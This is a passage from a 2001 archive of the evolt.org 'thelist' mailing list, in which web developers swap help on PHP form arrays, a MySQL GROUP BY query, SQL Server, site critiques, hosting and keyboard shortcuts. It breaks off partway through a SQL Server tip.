Subject: [thelist] Windows Media Tools
Message-ID: <F172eX4yuLmsZhNfv5700001ece@hotmail.com>

Hi,

I've taken on a project to implement a Windows Media based package of video 
broadcast + presentation training for our Intranet users.

Do any of you have experience on this type of project?

I will be writing a proposal to purchase Windows Media Encoder and 
additional hardware needed, but I'd like to get some opinions if you have 
any on the subject.

Thanks in advance.

-Luis


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From jay.blanchard at thermon.com  Fri Sep 21 10:32:42 2001
From: jay.blanchard at thermon.com (J. Blanchard)
Date: Fri Sep 21 10:32:42 2001
Subject: [thelist] SQL - Search & Replace?
Message-ID: <3B82ACFE0010F650@smtparch.vistocorporation.com> (added by administrator@vistocorporation.com)

I had included this question in a reply yesterday to something else, but it didn't get seen so...

I have a product called FOO which has a registered (?) mark, hence FOO?. Not all mentions of FOO within the database have the ? but the powers-that-be would like them to. Is there an search and replace functionality available for SQL Server? I have searched documentation to no avail...

Thanks!

Jay Blanchard
Web Development Manager
Thermon Manufacturing Company
1.800.820.HEAT x327


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From joshua at alphashop.net  Fri Sep 21 10:38:56 2001
From: joshua at alphashop.net (Joshua Olson)
Date: Fri Sep 21 10:38:56 2001
Subject: [thelist] Multiple Select??
References: <E40026A94B88D511B1D000508BC7413326B5EB@MAILHOST>
Message-ID: <021101c142b4$90886950$a600a8c0@mrtnz1.ga.home.com>

What is the method?  Post or Get?

-joshua

----- Original Message -----
From: "McAtee, Malcolm" <MMcAtee at philamuseum.org>
Subject: [thelist] Multiple Select??


: Howdy all.....
:
: I am creating a form to be used in a simple PHP/email app. Everything
seems
: to be working well except that my multiple select lists seem to pass only
the first
: value in the list.
: Please see the code below:
:
:        <select name="Type_of_Event" size="6" multiple>
:   <option value="Dinner">Dinner</option>
:   <option value="Lunch">Lunch</option>
:   <option value="Breakfast">Breakfast</option>
:   <option value="Cocktail_Reception">Cocktail Reception</option>
:   <option value="Meeting">Meeting</option>
:   <option value="Other">Other</option>
: </select>





From MMcAtee at philamuseum.org  Fri Sep 21 10:40:17 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Fri Sep 21 10:40:17 2001
Subject: [thelist] Multiple Select??
Message-ID: <E40026A94B88D511B1D000508BC7413326B662@MAILHOST>

 <form method=post action="http://www.philamuseum.org/cgi/thankyou.php3"
enctype="multipart/form-data">

//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//

-----Original Message-----
From: Joshua Olson [mailto:joshua at alphashop.net]
Sent: Friday, September 21, 2001 8:46 AM
To: thelist at lists.evolt.org
Subject: Re: [thelist] Multiple Select??


What is the method?  Post or Get?

-joshua

----- Original Message -----
From: "McAtee, Malcolm" <MMcAtee at philamuseum.org>
Subject: [thelist] Multiple Select??


: Howdy all.....
:
: I am creating a form to be used in a simple PHP/email app. Everything
seems
: to be working well except that my multiple select lists seem to pass only
the first
: value in the list.
: Please see the code below:
:
:        <select name="Type_of_Event" size="6" multiple>
:   <option value="Dinner">Dinner</option>
:   <option value="Lunch">Lunch</option>
:   <option value="Breakfast">Breakfast</option>
:   <option value="Cocktail_Reception">Cocktail Reception</option>
:   <option value="Meeting">Meeting</option>
:   <option value="Other">Other</option>
: </select>



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From Matt at grndwtr.com  Fri Sep 21 10:41:13 2001
From: Matt at grndwtr.com (Matthias Ritzkowski)
Date: Fri Sep 21 10:41:13 2001
Subject: [thelist] SQL - Search & Replace?
Message-ID: <8179FA78B6D0D111AA53006097B0128007AF16@mail1>

Why don't you code an ASP page to do that?

loop through all records and examine for the string "FOO", if you find it,
update that record with "FOO?"
Matthias


-----Original Message-----
From: J. Blanchard [mailto:jay.blanchard at thermon.com]
Sent: Friday, September 21, 2001 11:34
To: thelist at lists.evolt.org
Subject: [thelist] SQL - Search & Replace?


I had included this question in a reply yesterday to something else, but it
didn't get seen so...

I have a product called FOO which has a registered (?) mark, hence FOO?. Not
all mentions of FOO within the database have the ? but the powers-that-be
would like them to. Is there an search and replace functionality available
for SQL Server? I have searched documentation to no avail...




From kerin at airside.co.uk  Fri Sep 21 10:48:23 2001
From: kerin at airside.co.uk (// kerin | airside.co.uk)
Date: Fri Sep 21 10:48:23 2001
Subject: [thelist] MySQL COUNTing
In-Reply-To: <E40026A94B88D511B1D000508BC7413326B662@MAILHOST>
References: <E40026A94B88D511B1D000508BC7413326B662@MAILHOST>
Message-ID: <a05101005b7d11f7a9d73@[62.49.5.205]>

Hi all,

I'm working on putting together a basic bulletin board for a project.

i want the index page to have a simple table showing active 
discussions, like so:

thread title      |      date      |      no. of posts


in my MySQL database, there are two tables (amongst others) like so:

THREADS:
________
ID
DATE
USER_ID
TITLE


MESSAGES:
_________
ID
THREAD_ID
USER_ID
BODY
DATE


now, my SQL isnt that hot, and Im having real trouble writing the SQL 
query to do this. What I want is to have one SQl query which returns 
the title and date of the thread, as well as the total number of 
posts, by joining the THREADS and MESSAGES tables on the THREAD_ID 
column.

my query currently looks like this, and fails miserably:

$sql = "SELECT
         threads.title AS 'title',
         threads.date AS 'date',
         COUNT(messages.thread_id) AS 'noposts'
             FROM threads, messages
             WHERE messages.thread_id = threads.id
             ORDER BY date DESC
             LIMIT (20)";


Can somebody point me in the right direction here? My SQL skills are 
obviously pretty poor....


Thanks,

Kerin
-- 



From MMcAtee at philamuseum.org  Fri Sep 21 10:51:04 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Fri Sep 21 10:51:04 2001
Subject: [thelist] Multiple Select??
Message-ID: <E40026A94B88D511B1D000508BC7413326B675@MAILHOST>

<select name="Type_of_Event[]" size="6" multiple> --


I now recieve Type of Event: Array.....
Do I need to add something to the results page? (see below)
I apologize for the simple questions, did I mention this is my first PHP
app?

TIA Malcolm

 
You Have Entered the Following Information:<br>

<?php
print "Date:$Date<br>\n";
print "Company:$Company<br>\n";
print "Contact:$Contact<br>\n";
print "Address:$Address<br>\n";
print "Telephone:$Telephone<br>\n";
print "FAX:$FAX<br>\n";
print "eMail:$eMail<br>\n";
print "Date of Event:$Date_of_Event<br>\n";
print "Type of Event:$Type_of_Event<br>\n";
print "Number of Attendees:$Number_of_Attendees<br>\n";
print "Desired Location:$Desired_Location<br>\n";
print "Special Needs:$Special_Needs<br>\n";
 ?>
 

<?php
 mail
("mmcatee at philamuseum.org", "Facilities Inquiry", 
"Date:$Date
 Company:$Company
 Contact:$Contact
 Address:$Address
 Telephone:$Telephone
 eMail:$eMail
 Date of Event:$Date_of_Event
 Type of Event:$Type_of_Event
 Number of Attendees:$Number_of_Attendees
 Desired Location:$Desired_Location
 Special Needs:$Special_Needs
","FROM:Inquiry_Form")
?>






//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//

-----Original Message-----
From: Carl-Johan Kihlbom [mailto:div at newcode.se]
Sent: Friday, September 21, 2001 8:11 AM
To: thelist at lists.evolt.org
Subject: Re: [thelist] Multiple Select??


>
>> I am creating a form to be used in a simple PHP/email
>> app. Everything seems to be working well except that my multiple
>> select lists seem to pass only the first value in the list.  Please
>> see the code below:
>>
>>        <select name="Type_of_Event" size="6" multiple>

You should use <select name="Type_of_Event[]" size="6" multiple>. Then 
the values will be stored in the array $Type_ofEvent.

/ Carl-Johan

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From bruce at heerssen.com  Fri Sep 21 11:27:32 2001
From: bruce at heerssen.com (Bruce Heerssen)
Date: Fri Sep 21 11:27:32 2001
Subject: [thelist] PHP - multiple checkboxes
Message-ID: <3BAB5ACE.5050606@heerssen.com>

I have a form with multiple checkboxes that all have the same name, and 
I need to get the value for each one, but when I test for it, it returns 
the last value followed by a series of commas.

Can someone tell me how to access them correctly in PHP?

Thanks,

Bruce




From div at newcode.se  Fri Sep 21 11:28:33 2001
From: div at newcode.se (Carl-Johan Kihlbom)
Date: Fri Sep 21 11:28:33 2001
Subject: [thelist] Multiple Select??
In-Reply-To: <E40026A94B88D511B1D000508BC7413326B675@MAILHOST>
Message-ID: <200109211634.f8LGYWs00924@mail.space2u.com>

> <select name="Type_of_Event[]" size="6" multiple> --
>
>
> I now recieve Type of Event: Array.....
> Do I need to add something to the results page? (see below)
> I apologize for the simple questions, did I mention this is my first PHP
> app?
>

> print "Type of Event:$Type_of_Event<br>\n";

This should be something like:

print "Type of Event:<br>\n";
foreach($Type_of_Event as $event)
{
	print "$event<br>\n";
}

The formatting is of course up to you, but use the foreach-loop to go 
through all the values in $Type_of_Event.

/ Carl-Johan



From div at newcode.se  Fri Sep 21 11:32:39 2001
From: div at newcode.se (Carl-Johan Kihlbom)
Date: Fri Sep 21 11:32:39 2001
Subject: [thelist] PHP - multiple checkboxes
In-Reply-To: <3BAB5ACE.5050606@heerssen.com>
Message-ID: <200109211638.f8LGcds02659@mail.space2u.com>

On fredag, september 21, 2001, at 05:20 , Bruce Heerssen wrote:

> I have a form with multiple checkboxes that all have the same name, and 
> I need to get the value for each one, but when I test for it, it 
> returns the last value followed by a series of commas.
>
> Can someone tell me how to access them correctly in PHP?
>
> Thanks,
>
> Bruce

Same way as in the thread "Multiple Select".

Add [] after the name, to indicate to the receiving PHP script that it 
should treat it as an array. Like this:

<input type="checkbox" name="foo[]" value="bar 1">
<input type="checkbox" name="foo[]" value="bar 2">
and so on...

Then you will receive the values in an array called $foo.

$foo[0] == "bar 1";
$foo[1] == "bar 2";

/ Carl-Johan



From kristina at kfx-design.co.uk  Fri Sep 21 11:48:05 2001
From: kristina at kfx-design.co.uk (kristina)
Date: Fri Sep 21 11:48:05 2001
Subject: [thelist] site critique please
Message-ID: <3417289521.20010921174839@kfx-design.co.uk>

 Not sure if I'm feeling brave or stupid, but please feel free to
 scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't
 yet live, as I'm still waiting for data from the client.  But I'd
 really like fellow Evolters opinions on the job so far...!

 (re; the fact its framed, - my boss INSISTS its done in frames....) -
 i've tried to re-educate but he ain't 'avin none of it! - & i know
 really it should be up to the client, whether they have frames or
 not, they're not very web-wise as yet... - they're at the -
 wow-i-can-attach-that-to-an-email stage (iykwim)

 ;o)

-- 
bfn
 kristina                       


kristina at kfx-design.co.uk



"When written in Chinese, the word 'crisis' is composed of two characters.
One represents danger, and the other represents opportunity."
-- John F. Kennedy




From joshua at alphashop.net  Fri Sep 21 11:57:10 2001
From: joshua at alphashop.net (Joshua Olson)
Date: Fri Sep 21 11:57:10 2001
Subject: [thelist] site critique please
References: <3417289521.20010921174839@kfx-design.co.uk>
Message-ID: <032d01c142bf$7ea65020$a600a8c0@mrtnz1.ga.home.com>

Hey Kristina,

I kinda like the hand-crafted rollover effect you've done with the menu.
One thing, you might as well use the onclick event of the td to fire the
anchors since you've already moved the tactile response of the rollover to
the whole td...

Something like this:

onclick="location.href = '[same as anchor]'; return false;"

Also, you might throw style="hand: cursor" on the td so that it is apparent
you can click anywhere within the td.  The reason this can work is because
the borders already don't work in NN (they don't support mouse actions on
td's) and cursor:hand doesn't work, so no loss there, but enhanced
functionality in ie.

Make sense?

-joshua

----- Original Message -----
From: "kristina" <kristina at kfx-design.co.uk>
Subject: [thelist] site critique please


:
:  Not sure if I'm feeling brave or stupid, but please feel free to
:  scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't
:  yet live, as I'm still waiting for data from the client.  But I'd
:  really like fellow Evolters opinions on the job so far...!





From evolt at spinhead.com  Fri Sep 21 11:57:53 2001
From: evolt at spinhead.com (spinhead)
Date: Fri Sep 21 11:57:53 2001
Subject: [thelist] site critique please
References: <3417289521.20010921174839@kfx-design.co.uk>
Message-ID: <001701c142be$87b43c00$aa01000a@HEISENBERG>

No time for a deep scan, but overall I really like it. Couple comments:
1. I love all the greens. I hate the salmon pink blecch rollovers.
2. The double rollover on the navbar was disconcerting for some reason. Box
or text, but both (not simultaneous) was wierd.
3. On each page, kill the link to that page. It's superfluously redundantly
excessive.

Nice logo - North, East, South - where's West? Ahhh, I get it. Almost made
me say the name out loud. Clever retention tool.

spinhead


----- Original Message -----
From: "kristina" <kristina at kfx-design.co.uk>
To: "The List" <thelist at lists.evolt.org>
Sent: Friday, September 21, 2001 9:48 AM
Subject: [thelist] site critique please


>
>  Not sure if I'm feeling brave or stupid, but please feel free to
>  scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't
>  yet live, as I'm still waiting for data from the client.  But I'd
>  really like fellow Evolters opinions on the job so far...!
>
>  (re; the fact its framed, - my boss INSISTS its done in frames....) -
>  i've tried to re-educate but he ain't 'avin none of it! - & i know
>  really it should be up to the client, whether they have frames or
>  not, they're not very web-wise as yet... - they're at the -
>  wow-i-can-attach-that-to-an-email stage (iykwim)
>
>  ;o)
>
> --
> bfn
>  kristina
>
>
> kristina at kfx-design.co.uk
>
>
>
> "When written in Chinese, the word 'crisis' is composed of two characters.
> One represents danger, and the other represents opportunity."
> -- John F. Kennedy
>
>
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From r937 at interlog.com  Fri Sep 21 12:18:54 2001
From: r937 at interlog.com (rudy)
Date: Fri Sep 21 12:18:54 2001
Subject: [thelist] MySQL COUNTing
Message-ID: <01c142c1$8eb60760$8449149a@rudy>

> What I want is to have one SQl query which returns 
> the title and date of the thread, as well as the total number 
> of posts, by joining the THREADS and MESSAGES tables 
> on the THREAD_ID column.
>
>my query currently looks like this, and fails miserably:
>
>$sql = "SELECT
>         threads.title AS 'title',
>         threads.date AS 'date',
>         COUNT(messages.thread_id) AS 'noposts'
>             FROM threads, messages
>             WHERE messages.thread_id = threads.id
>             ORDER BY date DESC
>             LIMIT (20)";


hi kerin

you are so close   ;o)

   SELECT
           threads.title AS 'title',
           threads.date AS 'date',
           COUNT(messages.thread_id) AS 'noposts'
               FROM threads, messages
               WHERE messages.thread_id = threads.id
     GROUP BY threads.title, threads.date
             ORDER BY date DESC
             LIMIT (20)

when you have a one-to-many join, and all you want is
the count of the "many" records, you have to do a GROUP BY
on all the "one" columns in the SELECT list 

let me know if you also need to count 0 for
threads that have no messages


rudy
http://rudy.ca/





From jmlucero at webicarus.com  Fri Sep 21 12:31:39 2001
From: jmlucero at webicarus.com (Juan Manuel Lucero)
Date: Fri Sep 21 12:31:39 2001
Subject: [thelist] NT Hosting under $25
Message-ID: <000201c142c3$49280520$4e14fea9@juan>

Hi everybody.

Right now, we have a client for whom we are developing an ASP-based site. We
don?t know, since all our clients are hosted on UNIX, what NT hosting
provider is reliable for under $25 a month (that?s what the client wants to
pay)....

We need:

300 MB
50 POP3 accounts
at least 12 Gb transfer per month
at least 2 FTP accounts
Raw Logfiles
SSI
SSL Support


Thanks!

Juan Manuel Lucero
Icarus Dise?os Interactivos
http://www.webicarus.com
jmlucero at webicarus.com




From r937 at interlog.com  Fri Sep 21 12:58:28 2001
From: r937 at interlog.com (rudy)
Date: Fri Sep 21 12:58:28 2001
Subject: [thelist] site critique please
Message-ID: <01c142c7$079c6660$8449149a@rudy>

> 3. On each page, kill the link to that page.
> It's superfluously redundantly excessive.

not to mention confusing

i.e. if you end up on a page and the nav bar shows a live
link for that page, it makes you wonder if you're really on
that page

give these links a "grayed out" look and feel

(obviously they're not actual links anymore)

this will reinforce "where you are" and that's a good thing ?

<tip>
always check your sites in netscape 3 --
it runs fast, loads pages quickly, and shows you the
typical problems that visitors to your site will have
who use unconventional browsers...
granted, most site visitors will have conventional
browsers (capable of javascript, css, whatever)
but you also want your site to "work" in stripped-down
browsers, e.g. on cellphones, pda's, webtv, etc.
</tip>


kristina, i really like the fixed background, those are
very hard to keep unobtrusive, yours succeeds

i'm not nuts about the blocks of text on the landlords page
(the solid green ones are too sombre) -- on the
tenants page the blocks are quite distracting, but on the
properties available page, they look great

if your client is at the wow-i-can-attach-that-to-an-email stage
then perhaps you can mention that site visitors may not be
able to bookmark individual pages because of the frames

let the client convince your boss -- if you try to do it, he or she
may simply raise the drawbridge further...

some people like the idea of a nav bar that's always visible,
and i like to counter this thinking by pointing out that if the page
is long and the nav bar scrolls up out of sight, it can be
retrieved simply by hitting the Home key on the keyboard, which
anybody who has even a modicum of computer experience
will already know (thus subtly calling into question the experience
of the person who wants the nav bar to always be visible --
of course, this strategy could backfire if you don't handle it carefully)

another thing about frames, yours as well, is that if the window isn't
maximized, the nav bar frame often gets a scrollbar (try it)
which makes the page look really klunky and amateurish

good luck

rudy





From thelist at cbizz.net  Fri Sep 21 13:12:50 2001
From: thelist at cbizz.net (profjj)
Date: Fri Sep 21 13:12:50 2001
Subject: [thelist] site critique please
In-Reply-To: <3417289521.20010921174839@kfx-design.co.uk>
Message-ID: <NCEIJIFGNJNBOHBNJFKHCEBHCJAA.thelist@cbizz.net>

hi kristina,

:~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>
:From: thelist-admin at lists.evolt.org
:[mailto:thelist-admin at lists.evolt.org]On Behalf Of kristina
:Sent: Friday, September 21, 2001 12:49 PM
:To: The List
:Subject: [thelist] site critique please
:
: Not sure if I'm feeling brave or stupid, but please feel free to
: scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't
: yet live, as I'm still waiting for data from the client.  But I'd
: really like fellow Evolters opinions on the job so far...!
:~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>
The site looks nice.

For the left frame, I think you should remove the left scrolling, and maybe
shrink the menu a bit to fit. On a 15", with ie, it barely has scrollbars,
but in nn, they are a little more apparent.

:~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>
: (re; the fact its framed, - my boss INSISTS its done in frames....) -
: i've tried to re-educate but he ain't 'avin none of it! - & i know
: really it should be up to the client, whether they have frames or
: not, they're not very web-wise as yet... - they're at the -
: wow-i-can-attach-that-to-an-email stage (iykwim)
:~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>
with regards to the frames, I think you should really advise your client
against it.
http://www.evolt.org/article/Some_Caveats_with_Using_Frames/22/293/index.htm
l

:~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>:bfn
: kristina
:
:
:kristina at kfx-design.co.uk
:
:
:
:"When written in Chinese, the word 'crisis' is composed of two characters.
:One represents danger, and the other represents opportunity."
:-- John F. Kennedy
:~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>

good luck,
[[:profjj:]]





From ray at opengrid.com  Fri Sep 21 13:39:08 2001
From: ray at opengrid.com (Ray Hill)
Date: Fri Sep 21 13:39:08 2001
Subject: [thelist] HTML optimization advice, please
Message-ID: <897D2906DD5DD411B17500B0D03D9FB2C70030@directmail.opengrid.com>

Tyme wrote:
> Sounds like a good alternative!  Now, what are the chances
> of me learing PHP and converting all 400 files by Monday,
> Sept. 24th.

Pretty good, actually.  All you need to get this working is a rudimentary
understanding of the simple parts of PHP (includes, switch statement, and
maybe some if/then statements).  If you read the first three or four
chapters of "Professional PHP Programming" you should be set.  You don't
even need to buy it; just read the chapters at your local Barnes & Noble,
then rely on the online PHP Manual to fill in the memory gaps.

Professional PHP Programming
http://shop.barnesandnoble.com/booksearch/isbnInquiry.asp?isbn=1861002963

Online PHP Manual
http://www.php.net/manual/en/


As for updating the 400+ pages, even that can be made a pretty simple task.
Once you've got the template file set up, all you've got to do is replace
the pre-content and post-content portions of each page with the few lines of
PHP that points to the template file for that section.

If you download a copy of KeyText or TrayText from mjmsoft.com, you can save
the pre-content and post-content PHP bits into separate hot keys and then
just go to each page, highlight the non-content stuff, and paste the PHP
bits in with the hot keys, so all you'll have to do that's page-specific is
change the URL in the include (../ vs ../../, etc) and change the sectionid
you're putting in the function call.


If you decide to go this route and need help along the way, feel free to
email me off-list and I'll assist where needed.


--ray



From evolt at spinhead.com  Fri Sep 21 13:44:06 2001
From: evolt at spinhead.com (spinhead)
Date: Fri Sep 21 13:44:06 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
References: <01c142c7$079c6660$8449149a@rudy>
Message-ID: <001c01c142cd$5b506990$aa01000a@HEISENBERG>

Unless they're SO OLD that they still think those extra keys are for
controlling your word processor, in which case you might never think to use
them for navigation. Like, using the 'Home' button to go 'home' on a web
page. Sheesh. If you've got any other 'obvious' stuff I oughta know, rudy,
you can call me collect! (I don't know your capacity, but I sure owe you a
lot of beverage.)

joel

----- Original Message -----
From: "rudy" <r937 at interlog.com>
To: <thelist at lists.evolt.org>
Sent: Friday, September 21, 2001 10:58 AM
Subject: Re: [thelist] site critique please


[ . . . ]
if the page
> is long and the nav bar scrolls up out of sight, it can be
> retrieved simply by hitting the Home key on the keyboard, which
> anybody who has even a modicum of computer experience
> will already know (thus subtly calling into question the experience
> of the person who wants the nav bar to always be visible --
> of course, this strategy could backfire if you don't handle it carefully)
[ . . . ]
>
> rudy
>
>




From evolt at spinhead.com  Fri Sep 21 13:49:13 2001
From: evolt at spinhead.com (spinhead)
Date: Fri Sep 21 13:49:13 2001
Subject: Fw: [thelist] CDONTS again - can't send mail from a  subdirectory?
References: <5.1.0.14.2.20010919132317.02f63468@baratta.com>
Message-ID: <002101c142ce$13ac9c20$aa01000a@HEISENBERG>

Got pulled away on other things, and took another look this morning.

Apparently the SMTP service wants the sender address to be an e-mail
address, not just a text string dropped in there for testing purposes and
forgotten. [d'oh!]

Sorry for wasting anyone's CPU cycles on this. Must be the eleventy-first
time in a month I've missed something this simple. Must sleep more.

<tip type="syntax highlighing in TextPad">
When you comment out a line in VBScript using TextPad, it frequently hoses
up the syntax highlighting. A second comment generally resolves the problem.
Split comments onto an even number of lines, or add a blank commented line
to even things up.
</tip>

spinhead


----- Original Message -----
From: "Anthony Baratta" <Anthony at Baratta.com>
To: <thelist at lists.evolt.org>
Sent: Wednesday, September 19, 2001 1:23 PM
Subject: Re: Fw: [thelist] CDONTS again - can't send mail from a
subdirectory?


> At 12:20 PM 9/19/2001, you wrote:
> >Trying one more time before I give Microsoft more money for tech support
. .
> >  .
>
> Let's see the code you are using to send the mail.
> ----
> Anthony Baratta
> President
> Keyboard Jockeys
>
> "Conformity is the refuge of the unimaginative."
>
>
>
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From jhaworth at witanjardine.co.uk  Fri Sep 21 14:12:27 2001
From: jhaworth at witanjardine.co.uk (Jon Haworth)
Date: Fri Sep 21 14:12:27 2001
Subject: [thelist] Multiple Select??
Message-ID: <67DF9B67CEFAD4119E4200D0B720FA3F70FDCE@BOOTROS>

Your data is stored in an array now, so you can reference it with
$Type_of_Event[1], $Type_of_Event[2] etc.

There is a handy way to step through all the elements in an array, if you're
using PHP4 (see below if you're not)

With PHP4: 

<?php
# snip
print "eMail:$eMail<br>\n";
print "Date of Event: $Date_of_Event<br>\n";
print "Type of Event: ";
foreach ($Type_of_Event as $current) {
	print "$current, ";
}
print "<br>\n";
# snip
?>

You'll have to do some fiddling to get the formatting right, but hopefully
you see the principle. (http://www.php.net/foreach)


If you only have PHP3 (the reason I mention this is I've noticed .php3 as
your extension) you have to replace foreach() with a do..while:

<?php
# snip
print "eMail:$eMail<br>\n";
print "Date of Event: $Date_of_Event<br>\n";
print "Type of Event: ";
reset ($Type_of_Event);
while (list (, $current) = each ($Type_of_Event)) {
    echo "Value: $value<br>\n";
}
print "<br>\n";# snip
?>


HTH
Jon



-----Original Message-----
From: McAtee, Malcolm [mailto:MMcAtee at philamuseum.org]
Sent: 21 September 2001 15:52
To: thelist at lists.evolt.org
Subject: RE: [thelist] Multiple Select??


<select name="Type_of_Event[]" size="6" multiple> --


I now recieve Type of Event: Array.....
Do I need to add something to the results page? (see below)
I apologize for the simple questions, did I mention this is my first PHP
app?

TIA Malcolm

 
You Have Entered the Following Information:<br>

<?php
print "Date:$Date<br>\n";
print "Company:$Company<br>\n";
print "Contact:$Contact<br>\n";
print "Address:$Address<br>\n";
print "Telephone:$Telephone<br>\n";
print "FAX:$FAX<br>\n";
print "eMail:$eMail<br>\n";
print "Date of Event:$Date_of_Event<br>\n";
print "Type of Event:$Type_of_Event<br>\n";
print "Number of Attendees:$Number_of_Attendees<br>\n";
print "Desired Location:$Desired_Location<br>\n";
print "Special Needs:$Special_Needs<br>\n";
 ?>
 

<?php
 mail
("mmcatee at philamuseum.org", "Facilities Inquiry", 
"Date:$Date
 Company:$Company
 Contact:$Contact
 Address:$Address
 Telephone:$Telephone
 eMail:$eMail
 Date of Event:$Date_of_Event
 Type of Event:$Type_of_Event
 Number of Attendees:$Number_of_Attendees
 Desired Location:$Desired_Location
 Special Needs:$Special_Needs
","FROM:Inquiry_Form")
?>






//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//

-----Original Message-----
From: Carl-Johan Kihlbom [mailto:div at newcode.se]
Sent: Friday, September 21, 2001 8:11 AM
To: thelist at lists.evolt.org
Subject: Re: [thelist] Multiple Select??


>
>> I am creating a form to be used in a simple PHP/email
>> app. Everything seems to be working well except that my multiple
>> select lists seem to pass only the first value in the list.  Please
>> see the code below:
>>
>>        <select name="Type_of_Event" size="6" multiple>

You should use <select name="Type_of_Event[]" size="6" multiple>. Then 
the values will be stored in the array $Type_ofEvent.

/ Carl-Johan

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From r937 at interlog.com  Fri Sep 21 14:26:21 2001
From: r937 at interlog.com (rudy)
Date: Fri Sep 21 14:26:21 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
Message-ID: <01c142d3$32280220$8449149a@rudy>

> Sheesh. If you've got any other 'obvious' stuff
> I oughta know, rudy, you can call me collect! 
> (I don't know your capacity, but I sure owe you a
> lot of beverage.)

thanks for the kind words, joel

interesting you bring up the age question
(i'm probably older than you anyway)

i apologize to anyone offended by the implicit suggestion
that competency and keyboard skills are correlated

what follows may apply only to PCs (never used a Mac,
and i get no end of ribbing from my son because of it)

okay, Home and End keys work as expected on web pages

so do Page Up and Page Down

Tab is quite useful in navigation

(too obvious, perhaps?)

Ctrl-a highlights everything, and Ctrl-c copies it --
best html tag stripper i can think of

other obvious stuff?  

1. customize your start bar 

every major app i use on a regular basis can be 
launched by (at most) three keystrokes:  

   ~  hit the Window key (which is between Ctrl and Alt
            on the bottom left of my keyboard) to bring
            up the start bar -- prior to this new key, i used 
            Ctrl-Esc to do the same thing
  ~ hit one of several keys to launch a frequently used app
  ~ infrequently used apps are within a folder on the start bar
           (which is why it sometimes takes three keystrokes)

to get those apps onto the start bar is as simple as creating
a shortcut in the Start Menu folder

i use single letters so that the start bar does not become too wide

oh yeah, i forgot to mention, my start bar is on the left side 
(the sanest place for it) and usually hidden -- if i need to
switch apps i use Alt-Tab

2. customize your send-to menu 

i do a lot of stuff from within Windows Explorer, and while 
hitting enter to launch a file (okay, double-clicking for all
you mouse addicts) will easily launch the app that is 
associated with that file, sometimes you'd rather send 
the file to some other app (e.g. an html file to your text 
editor instead of launching a browser session)

so right-click the file, or use that funny Context Menu key
(which is between the Window and the Ctrl keys at the bottom
right of my keyboard), and send the file to the app of your choice

again, you can customise the send-to menu by adding
shortcuts to the SendTo folder in Windows Explorer

by the way, Windows Explorer itself is launched by the 
Window-e key combo

Window-r launches the Run dialog

Window-m minimizes everything -- great "boss panic button"


that's all i can think of for the moment...


rudy







From evolt at spinhead.com  Fri Sep 21 14:33:38 2001
From: evolt at spinhead.com (spinhead)
Date: Fri Sep 21 14:33:38 2001
Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please)
References: <01c142d3$32280220$8449149a@rudy>
Message-ID: <005301c142d4$481f10e0$aa01000a@HEISENBERG>

Caught a few new items there - here's another

Windows + D takes you to the desktop. [and when I figure out how that's
different from Windows + M to 'minimize all' I'll let you know; it's just
easier for me to remember.

joel.bof


----- Original Message -----
From: "rudy" <r937 at interlog.com>
To: <thelist at lists.evolt.org>
Sent: Friday, September 21, 2001 12:25 PM
Subject: Re: assumptions regarding computer competency of those who don't
use certain keys for navigation (was Re: [thelist] site critique please)


[ . . . ]
>
> Window-m minimizes everything -- great "boss panic button"
>
>
> that's all i can think of for the moment...
>
>
> rudy
>




From Rory.Plaire at wahchang.com  Fri Sep 21 14:37:50 2001
From: Rory.Plaire at wahchang.com (Rory.Plaire at wahchang.com)
Date: Fri Sep 21 14:37:50 2001
Subject: [thelist] JS embroidery
Message-ID: <41C0B6AB2A57D3119ED800A0C9EA3920034AD197@arnold.bedrock.com>

OK, folks,

Here is my cloud of anxiety on an otherwise bright horizon:

I have an HTML select. I have set the onFocus event handler to initialize a
global variable, iLastIndex, when the select gets the focus, which happens,
of course, when it is clicked. This is used to do some calculations later on
how far the selection has traveled in the list by hooking the onChange
handler with a function which takes the control and determines its
selectedIndex property and adds or subtracts the iLastIndex value. The
difference is then used to modify a value in a textbox. This works great
when the user interacts with it.

Now, I have a "master" select on the form which determines which point in
the list all of the selects on the page are at -- i.e. it modifies the
selectedIndex of all the other select widgets on the page. Since the value
of that textbox is intimately dependent on the item in the select widget,
this needs to change, too. So, I call focus() on the select widget to invoke
the custom onFocus event handler and set that global value. Then I
programmatically change the selectedIndex property of the select, and call
the function which changes the textbox value to suit the new list position
according to how far it traveled.

It don't work.

The values in the textbox don't change.

*EXCEPT* if I add an alert() after each call to focus().

I think there are some complex thread issues here. The only thing I don't
think is that I have the capacity currently to comprehend what to do.

What I want to do is synchronize the thread dispatching the call to focus()
and the one which calls the successive property change and function to
change the textbox value. The question is "How?"

Can someone help me crawl out of this box?

<tip type="SQL Server">
When building a database, try to craft the tables, views, stored procedures,
etc from hand. TSQL, the custom flavor of ANSI SQL-92 which MS builds into
SQL Server, can easily do this and more in creating your database. You can
even tune, manage and report on it.

But, to the point. If you take the time to hand script all your database
objects, not only do you learn intimately the basic and most fundamental way
to work with SQL Server and thus lunge ahead in the effort to get that MCDBA
cert, should be of them that drink this kool-aid, you can also make
modifications to the scripts and drop and recreate those objects in a flash,
